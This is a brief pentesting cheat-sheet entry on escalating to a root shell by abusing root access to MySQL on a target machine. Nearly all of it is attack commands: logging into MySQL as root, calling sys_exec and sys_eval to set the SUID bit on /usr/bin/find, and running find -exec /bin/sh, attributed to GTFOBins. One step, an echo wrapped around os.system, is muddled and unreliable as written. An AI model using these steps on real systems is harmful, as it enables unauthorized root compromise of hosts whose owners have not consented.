Abuse MySQL as root

If we have root access in the MySQL hosted on the target machine, we may have the possibility to execute privileged commands as if we were root on the machine as well.

1)

mysql -u root -p

2)

SELECT sys_exec('chmod u+s /usr/bin/find');
SELECT sys_eval('chmod u+s /usr/bin/find');

3)

echo os.system('/bin/bash')

4)

find FILE -exec "/bin/sh" \; (GTFOBINS)
